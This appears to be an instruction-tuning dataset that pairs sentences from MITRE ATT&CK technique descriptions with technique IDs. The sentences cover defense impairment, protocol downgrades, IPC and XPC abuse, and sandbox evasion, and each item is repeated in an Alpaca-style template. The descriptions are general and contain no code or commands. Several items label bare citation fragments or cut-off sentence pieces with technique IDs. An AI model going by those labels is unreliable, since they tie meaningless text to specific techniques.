Instruction: List the MITRE techniques contained in the text.

Input: This not only involves impairing preventative defenses, such as firewalls and anti-virus, but also detection capabilities that defenders can use to audit activity and identify malicious behavior.

Output: T1562

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This not only involves impairing preventative defenses, such as firewalls and anti-virus, but also detection capabilities that defenders can use to audit activity and identify malicious behavior. ### Response: T1562.


Instruction: List the MITRE techniques contained in the text.

Input: This may also span both native defenses as well as supplemental capabilities installed by users and administrators.

Output: T1562

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This may also span both native defenses as well as supplemental capabilities installed by users and administrators. ### Response: T1562.


Instruction: List the MITRE techniques contained in the text.

Input: Adversaries may also impair routine operations that contribute to defensive hygiene, such as blocking users from logging out of a computer or stopping it from being shut down.

Output: T1562

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also impair routine operations that contribute to defensive hygiene, such as blocking users from logging out of a computer or stopping it from being shut down. ### Response: T1562.


Instruction: List the MITRE techniques contained in the text.

Input: These restrictions can further enable malicious operations as well as the continued propagation of incidents.(Citation: Emotet shutdown)

Output: T1562

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These restrictions can further enable malicious operations as well as the continued propagation of incidents.(Citation: Emotet shutdown) ### Response: T1562.


Instruction: List the MITRE techniques contained in the text.

Input: Adversaries could also target event aggregation and analysis mechanisms, or otherwise disrupt these procedures by altering other system components.

Output: T1562

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries could also target event aggregation and analysis mechanisms, or otherwise disrupt these procedures by altering other system components. ### Response: T1562.


Instruction: List the MITRE techniques contained in the text.

Input: Adversaries may downgrade or use a version of system features that may be outdated, vulnerable, and/or does not support updated security controls.

Output: T1562.010

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may downgrade or use a version of system features that may be outdated, vulnerable, and/or does not support updated security controls. ### Response: T1562.010.


Instruction: List the MITRE techniques contained in the text.

Input: Downgrade attacks typically take advantage of a system’s backward compatibility to force it into less secure modes of operation.

Output: T1562.010

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Downgrade attacks typically take advantage of a system’s backward compatibility to force it into less secure modes of operation. ### Response: T1562.010.


Instruction: List the MITRE techniques contained in the text.

Input: Adversaries may downgrade and use various less-secure versions of features of a system, such as [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059)s or even network protocols that can be abused to enable [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) or

Output: T1562.010

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may downgrade and use various less-secure versions of features of a system, such as [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059)s or even network protocols that can be abused to enable [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557) or ### Response: T1562.010.


Instruction: List the MITRE techniques contained in the text.

Input: [Network Sniffing](https://attack.mitre.org/techniques/T1040).(Citation:

Output: T1562.010

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Network Sniffing](https://attack.mitre.org/techniques/T1040).(Citation: ### Response: T1562.010.


Instruction: List the MITRE techniques contained in the text.

Input: Praetorian TLS Downgrade Attack 2014)

Output: T1562.010

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Praetorian TLS Downgrade Attack 2014) ### Response: T1562.010.


Instruction: List the MITRE techniques contained in the text.

Input: For example, [PowerShell](https://attack.mitre.org/techniques/T1059/001) versions 5+ includes Script Block Logging (SBL) which can record executed script content.

Output: T1562.010

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, [PowerShell](https://attack.mitre.org/techniques/T1059/001) versions 5+ includes Script Block Logging (SBL) which can record executed script content. ### Response: T1562.010.


Instruction: List the MITRE techniques contained in the text.

Input: However, adversaries may attempt to execute a previous version of PowerShell that does not support SBL with the intent to [Impair Defenses](https://attack.mitre.org/techniques/T1562) while running malicious scripts that may have otherwise been detected.(Citation:

Output: T1562.010

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: However, adversaries may attempt to execute a previous version of PowerShell that does not support SBL with the intent to [Impair Defenses](https://attack.mitre.org/techniques/T1562) while running malicious scripts that may have otherwise been detected.(Citation: ### Response: T1562.010.


Instruction: List the MITRE techniques contained in the text.

Input: CrowdStrike BGH Ransomware 2021)(Citation:

Output: T1562.010

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: CrowdStrike BGH Ransomware 2021)(Citation: ### Response: T1562.010.


Instruction: List the MITRE techniques contained in the text.

Input: Mandiant BYOL 2018)(Citation: att_def_ps_logging)

Output: T1562.010

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Mandiant BYOL 2018)(Citation: att_def_ps_logging) ### Response: T1562.010.


Instruction: List the MITRE techniques contained in the text.

Input: Adversaries may similarly target network traffic to downgrade from an encrypted HTTPS connection to an unsecured HTTP connection that exposes network data in clear text.(Citation: Targeted SSL Stripping Attacks Are Real)(Citation: Crowdstrike Downgrade)

Output: T1562.010

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may similarly target network traffic to downgrade from an encrypted HTTPS connection to an unsecured HTTP connection that exposes network data in clear text.(Citation: Targeted SSL Stripping Attacks Are Real)(Citation: Crowdstrike Downgrade) ### Response: T1562.010.


Instruction: List the MITRE techniques contained in the text.

Input: Adversaries may abuse inter-process communication (IPC) mechanisms for local code or command execution.

Output: T1559

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse inter-process communication (IPC) mechanisms for local code or command execution. ### Response: T1559.


Instruction: List the MITRE techniques contained in the text.

Input: IPC is typically used by processes to share data, communicate with each other, or synchronize execution.

Output: T1559

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: IPC is typically used by processes to share data, communicate with each other, or synchronize execution. ### Response: T1559.


Instruction: List the MITRE techniques contained in the text.

Input: IPC is also commonly used to avoid situations such as deadlocks, which occurs when processes are stuck in a cyclic waiting pattern.

Output: T1559

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: IPC is also commonly used to avoid situations such as deadlocks, which occurs when processes are stuck in a cyclic waiting pattern. ### Response: T1559.


Instruction: List the MITRE techniques contained in the text.

Input: Adversaries may abuse IPC to execute arbitrary code or commands.

Output: T1559

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may abuse IPC to execute arbitrary code or commands. ### Response: T1559.


Instruction: List the MITRE techniques contained in the text.

Input: IPC mechanisms may differ depending on OS, but typically exists in a form accessible through programming languages/libraries or native interfaces such as Windows [Dynamic Data Exchange](https://attack.mitre.org/techniques/T1559/002) or

Output: T1559

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: IPC mechanisms may differ depending on OS, but typically exists in a form accessible through programming languages/libraries or native interfaces such as Windows [Dynamic Data Exchange](https://attack.mitre.org/techniques/T1559/002) or ### Response: T1559.


Instruction: List the MITRE techniques contained in the text.

Input: [Component Object Model](https://attack.mitre.org/techniques/T1559/001).

Output: T1559

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Component Object Model](https://attack.mitre.org/techniques/T1559/001). ### Response: T1559.


Instruction: List the MITRE techniques contained in the text.

Input: Linux environments support several different IPC mechanisms, two of which being sockets and pipes.(Citation: Linux IPC) Higher level execution mediums, such as those of [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059)s, may also leverage underlying IPC mechanisms.

Output: T1559

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Linux environments support several different IPC mechanisms, two of which being sockets and pipes.(Citation: Linux IPC) Higher level execution mediums, such as those of [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059)s, may also leverage underlying IPC mechanisms. ### Response: T1559.


Instruction: List the MITRE techniques contained in the text.

Input: Adversaries may also use [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) to facilitate remote IPC execution.(Citation: Fireeye Hunting COM June 2019)

Output: T1559

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also use [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) to facilitate remote IPC execution.(Citation: Fireeye Hunting COM June 2019) ### Response: T1559.


Instruction: List the MITRE techniques contained in the text.

Input: Adversaries can provide malicious content to an XPC service daemon for local code execution.

Output: T1559.003

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can provide malicious content to an XPC service daemon for local code execution. ### Response: T1559.003.


Instruction: List the MITRE techniques contained in the text.

Input: macOS uses XPC services for basic inter-process communication between various processes, such as between the XPC Service daemon and third-party application privileged helper tools.

Output: T1559.003

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: macOS uses XPC services for basic inter-process communication between various processes, such as between the XPC Service daemon and third-party application privileged helper tools. ### Response: T1559.003.


Instruction: List the MITRE techniques contained in the text.

Input: Applications can send messages to the XPC Service daemon, which runs as root, using the low-level XPC Service C API or the high level NSXPCConnection API in order to handle tasks that require elevated privileges (such as network connections).

Output: T1559.003

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Applications can send messages to the XPC Service daemon, which runs as root, using the low-level XPC Service C API or the high level NSXPCConnection API in order to handle tasks that require elevated privileges (such as network connections). ### Response: T1559.003.


Instruction: List the MITRE techniques contained in the text.

Input: Applications are responsible for providing the protocol definition which serves as a blueprint of the XPC services.

Output: T1559.003

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Applications are responsible for providing the protocol definition which serves as a blueprint of the XPC services. ### Response: T1559.003.


Instruction: List the MITRE techniques contained in the text.

Input: Developers typically use XPC Services to provide applications stability and privilege separation between the application client and the daemon.(Citation: creatingXPCservices)(Citation: Designing Daemons Apple Dev)

Output: T1559.003

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Developers typically use XPC Services to provide applications stability and privilege separation between the application client and the daemon.(Citation: creatingXPCservices)(Citation: Designing Daemons Apple Dev) ### Response: T1559.003.


Instruction: List the MITRE techniques contained in the text.

Input: Adversaries can abuse XPC services to execute malicious content.

Output: T1559.003

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can abuse XPC services to execute malicious content. ### Response: T1559.003.


Instruction: List the MITRE techniques contained in the text.

Input: Requests for malicious execution can be passed through the application's XPC Services handler.(Citation: CVMServer Vuln)(Citation: Learn XPC Exploitation)

Output: T1559.003

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Requests for malicious execution can be passed through the application's XPC Services handler.(Citation: CVMServer Vuln)(Citation: Learn XPC Exploitation) ### Response: T1559.003.


Instruction: List the MITRE techniques contained in the text.

Input: This may also include identifying and abusing improper XPC client validation and/or poor sanitization of input parameters to conduct [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068).

Output: T1559.003

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This may also include identifying and abusing improper XPC client validation and/or poor sanitization of input parameters to conduct [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068). ### Response: T1559.003.


Instruction: List the MITRE techniques contained in the text.

Input: Adversaries may employ various user activity checks to detect and avoid virtualization and analysis environments.

Output: T1497.002

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may employ various user activity checks to detect and avoid virtualization and analysis environments. ### Response: T1497.002.


Instruction: List the MITRE techniques contained in the text.

Input: This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox.

Output: T1497.002

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. ### Response: T1497.002.


Instruction: List the MITRE techniques contained in the text.

Input: If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant.

Output: T1497.002

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. ### Response: T1497.002.


Instruction: List the MITRE techniques contained in the text.

Input: They may also search for VME artifacts before dropping secondary or additional payloads.

Output: T1497.002

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: They may also search for VME artifacts before dropping secondary or additional payloads. ### Response: T1497.002.


Instruction: List the MITRE techniques contained in the text.

Input: Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness)

Output: T1497.002

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness) ### Response: T1497.002.


Instruction: List the MITRE techniques contained in the text.

Input: Adversaries may search for user activity on the host based on variables such as the speed/frequency of mouse movements and clicks (Citation: Sans Virtual Jan 2016) , browser history, cache, bookmarks, or number of files in common directories such as home or the desktop.

Output: T1497.002

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may search for user activity on the host based on variables such as the speed/frequency of mouse movements and clicks (Citation: Sans Virtual Jan 2016) , browser history, cache, bookmarks, or number of files in common directories such as home or the desktop. ### Response: T1497.002.


Instruction: List the MITRE techniques contained in the text.

Input: Other methods may rely on specific user interaction with the system before the malicious code is activated, such as waiting for a document to close before activating a macro (Citation: Unit 42 Sofacy Nov 2018) or waiting for a user to double click on an embedded image to activate.(Citation: FireEye FIN7 April 2017)

Output: T1497.002

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Other methods may rely on specific user interaction with the system before the malicious code is activated, such as waiting for a document to close before activating a macro (Citation: Unit 42 Sofacy Nov 2018) or waiting for a user to double click on an embedded image to activate.(Citation: FireEye FIN7 April 2017) ### Response: T1497.002.


Instruction: List the MITRE techniques contained in the text.

Input: Adversaries may employ various system checks to detect and avoid virtualization and analysis environments.

Output: T1497.001

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may employ various system checks to detect and avoid virtualization and analysis environments. ### Response: T1497.001.


Instruction: List the MITRE techniques contained in the text.

Input: This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox.

Output: T1497.001

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. ### Response: T1497.001.


Instruction: List the MITRE techniques contained in the text.

Input: If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant.

Output: T1497.001

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. ### Response: T1497.001.


Instruction: List the MITRE techniques contained in the text.

Input: They may also search for VME artifacts before dropping secondary or additional payloads.

Output: T1497.001

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: They may also search for VME artifacts before dropping secondary or additional payloads. ### Response: T1497.001.


Instruction: List the MITRE techniques contained in the text.

Input:
Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness)

Specific checks will vary based on the target and/or adversary, but may involve behaviors such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047), [PowerShell](https://attack.mitre.org/techniques/T1059/001),

Output: T1497.001

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness)

Specific checks will vary based on the target and/or adversary, but may involve behaviors such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047), [PowerShell](https://attack.mitre.org/techniques/T1059/001), ### Response: T1497.001.


Instruction: List the MITRE techniques contained in the text.

Input: [System Information Discovery](https://attack.mitre.org/techniques/T1082), and

Output: T1497.001

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [System Information Discovery](https://attack.mitre.org/techniques/T1082), and ### Response: T1497.001.


Instruction: List the MITRE techniques contained in the text.

Input: [Query Registry](https://attack.mitre.org/techniques/T1012) to obtain system information and search for VME artifacts.

Output: T1497.001

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Query Registry](https://attack.mitre.org/techniques/T1012) to obtain system information and search for VME artifacts. ### Response: T1497.001.


Instruction: List the MITRE techniques contained in the text.

Input: Adversaries may search for VME artifacts in memory, processes, file system, hardware, and/or the Registry.

Output: T1497.001

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may search for VME artifacts in memory, processes, file system, hardware, and/or the Registry. ### Response: T1497.001.


Instruction: List the MITRE techniques contained in the text.

Input: Adversaries may use scripting to automate these checks  into one script and then have the program exit if it determines the system to be a virtual environment.

Output: T1497.001

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use scripting to automate these checks  into one script and then have the program exit if it determines the system to be a virtual environment. ### Response: T1497.001.


Instruction: List the MITRE techniques contained in the text.

Input: Checks could include generic system properties such as host/domain name and samples of network traffic.

Output: T1497.001

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Checks could include generic system properties such as host/domain name and samples of network traffic. ### Response: T1497.001.


Instruction: List the MITRE techniques contained in the text.

Input: Adversaries may also check the network adapters addresses, CPU core count, and available memory/drive size.

Output: T1497.001

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also check the network adapters addresses, CPU core count, and available memory/drive size. ### Response: T1497.001.


Instruction: List the MITRE techniques contained in the text.

Input: Other common checks may enumerate services running that are unique to these applications, installed programs on the system, manufacturer/product fields for strings relating to virtual machine applications, and VME-specific hardware/processor instructions.(Citation: McAfee Virtual Jan 2017)

Output: T1497.001

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Other common checks may enumerate services running that are unique to these applications, installed programs on the system, manufacturer/product fields for strings relating to virtual machine applications, and VME-specific hardware/processor instructions.(Citation: McAfee Virtual Jan 2017) ### Response: T1497.001.


Instruction: List the MITRE techniques contained in the text.

Input: In applications like VMWare, adversaries can also use a special I/O port to send commands and receive output.

Output: T1497.001

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In applications like VMWare, adversaries can also use a special I/O port to send commands and receive output. ### Response: T1497.001.


Instruction: List the MITRE techniques contained in the text.

Input: Hardware checks, such as the presence of the fan, temperature, and audio devices, could also be used to gather evidence that can be indicative a virtual environment.

Output: T1497.001

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Hardware checks, such as the presence of the fan, temperature, and audio devices, could also be used to gather evidence that can be indicative a virtual environment. ### Response: T1497.001.


Instruction: List the MITRE techniques contained in the text.

Input: Adversaries may also query for specific readings from these devices.(Citation: Unit 42 OilRig Sept 2018)

Output: T1497.001

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also query for specific readings from these devices.(Citation: Unit 42 OilRig Sept 2018) ### Response: T1497.001.


Instruction: List the MITRE techniques contained in the text.

Input: Adversaries may employ various time-based methods to detect and avoid virtualization and analysis environments.

Output: T1497.003

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may employ various time-based methods to detect and avoid virtualization and analysis environments. ### Response: T1497.003.


Instruction: List the MITRE techniques contained in the text.

Input: This may include enumerating time-based properties, such as uptime or the system clock, as well as the use of timers or other triggers to avoid a virtual machine environment (VME) or sandbox, specifically those that are automated or only operate for a limited amount of time.

Output: T1497.003

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This may include enumerating time-based properties, such as uptime or the system clock, as well as the use of timers or other triggers to avoid a virtual machine environment (VME) or sandbox, specifically those that are automated or only operate for a limited amount of time. ### Response: T1497.003.


Instruction: List the MITRE techniques contained in the text.

Input: Adversaries may employ various time-based evasions, such as delaying malware functionality upon initial execution using programmatic sleep commands or native system scheduling functionality (ex: [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053)).

Output: T1497.003

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may employ various time-based evasions, such as delaying malware functionality upon initial execution using programmatic sleep commands or native system scheduling functionality (ex: [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053)). ### Response: T1497.003.


Instruction: List the MITRE techniques contained in the text.

Input:
Delays may also be based on waiting for specific victim conditions to be met (ex: system time, events, etc.) or employ scheduled [Multi-Stage Channels](https://attack.mitre.org/techniques/T1104) to avoid analysis and scrutiny.(Citation: Deloitte Environment Awareness)

Benign commands or other operations may also be used to delay malware execution.

Output: T1497.003

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Delays may also be based on waiting for specific victim conditions to be met (ex: system time, events, etc.) or employ scheduled [Multi-Stage Channels](https://attack.mitre.org/techniques/T1104) to avoid analysis and scrutiny.(Citation: Deloitte Environment Awareness)

Benign commands or other operations may also be used to delay malware execution. ### Response: T1497.003.


Instruction: List the MITRE techniques contained in the text.

Input: Loops or otherwise needless repetitions of commands, such as [Ping](https://attack.mitre.org/software/S0097)s, may be used to delay malware execution and potentially exceed time thresholds of automated analysis environments.(Citation: Revil Independence Day)(Citation: Netskope Nitol)

Output: T1497.003

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Loops or otherwise needless repetitions of commands, such as [Ping](https://attack.mitre.org/software/S0097)s, may be used to delay malware execution and potentially exceed time thresholds of automated analysis environments.(Citation: Revil Independence Day)(Citation: Netskope Nitol) ### Response: T1497.003.


Instruction: List the MITRE techniques contained in the text.

Input: Another variation, commonly referred to as API hammering, involves making various calls to [Native API](https://attack.mitre.org/techniques/T1106) functions in order to delay execution (while also potentially overloading analysis environments with junk data).(Citation:

Output: T1497.003

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Another variation, commonly referred to as API hammering, involves making various calls to [Native API](https://attack.mitre.org/techniques/T1106) functions in order to delay execution (while also potentially overloading analysis environments with junk data).(Citation: ### Response: T1497.003.


Instruction: List the MITRE techniques contained in the text.

Input: Joe Sec Nymaim)(Citation: Joe Sec Trickbot)

Output: T1497.003

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Joe Sec Nymaim)(Citation: Joe Sec Trickbot) ### Response: T1497.003.


Instruction: List the MITRE techniques contained in the text.

Input: Adversaries may also use time as a metric to detect sandboxes and analysis environments, particularly those that attempt to manipulate time mechanisms to simulate longer elapses of time.

Output: T1497.003

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also use time as a metric to detect sandboxes and analysis environments, particularly those that attempt to manipulate time mechanisms to simulate longer elapses of time. ### Response: T1497.003.


Instruction: List the MITRE techniques contained in the text.

Input: For example, an adversary may be able to identify a sandbox accelerating time by sampling and calculating the expected value for an environment's timestamp before and after execution of a sleep function.(Citation: ISACA Malware Tricks)

Output: T1497.003

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, an adversary may be able to identify a sandbox accelerating time by sampling and calculating the expected value for an environment's timestamp before and after execution of a sleep function.(Citation: ISACA Malware Tricks) ### Response: T1497.003.


Instruction: List the MITRE techniques contained in the text.

Input: Adversaries may employ various means to detect and avoid virtualization and analysis environments.

Output: T1497

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may employ various means to detect and avoid virtualization and analysis environments. ### Response: T1497.


Instruction: List the MITRE techniques contained in the text.

Input: This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox.

Output: T1497

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. ### Response: T1497.


Instruction: List the MITRE techniques contained in the text.

Input: If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant.

Output: T1497

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. ### Response: T1497.


Instruction: List the MITRE techniques contained in the text.

Input: They may also search for VME artifacts before dropping secondary or additional payloads.

Output: T1497

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: They may also search for VME artifacts before dropping secondary or additional payloads. ### Response: T1497.


Instruction: List the MITRE techniques contained in the text.

Input: Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness)

Output: T1497

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness) ### Response: T1497.


Instruction: List the MITRE techniques contained in the text.

Input: Adversaries may use several methods to accomplish [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) such as checking for security monitoring tools (e.g., Sysinternals, Wireshark, etc.) or other system artifacts associated with analysis or virtualization.

Output: T1497

Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use several methods to accomplish [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) such as checking for security monitoring tools (e.g., Sysinternals, Wireshark, etc.) or other system artifacts associated with analysis or virtualization. ### Response: T1497.


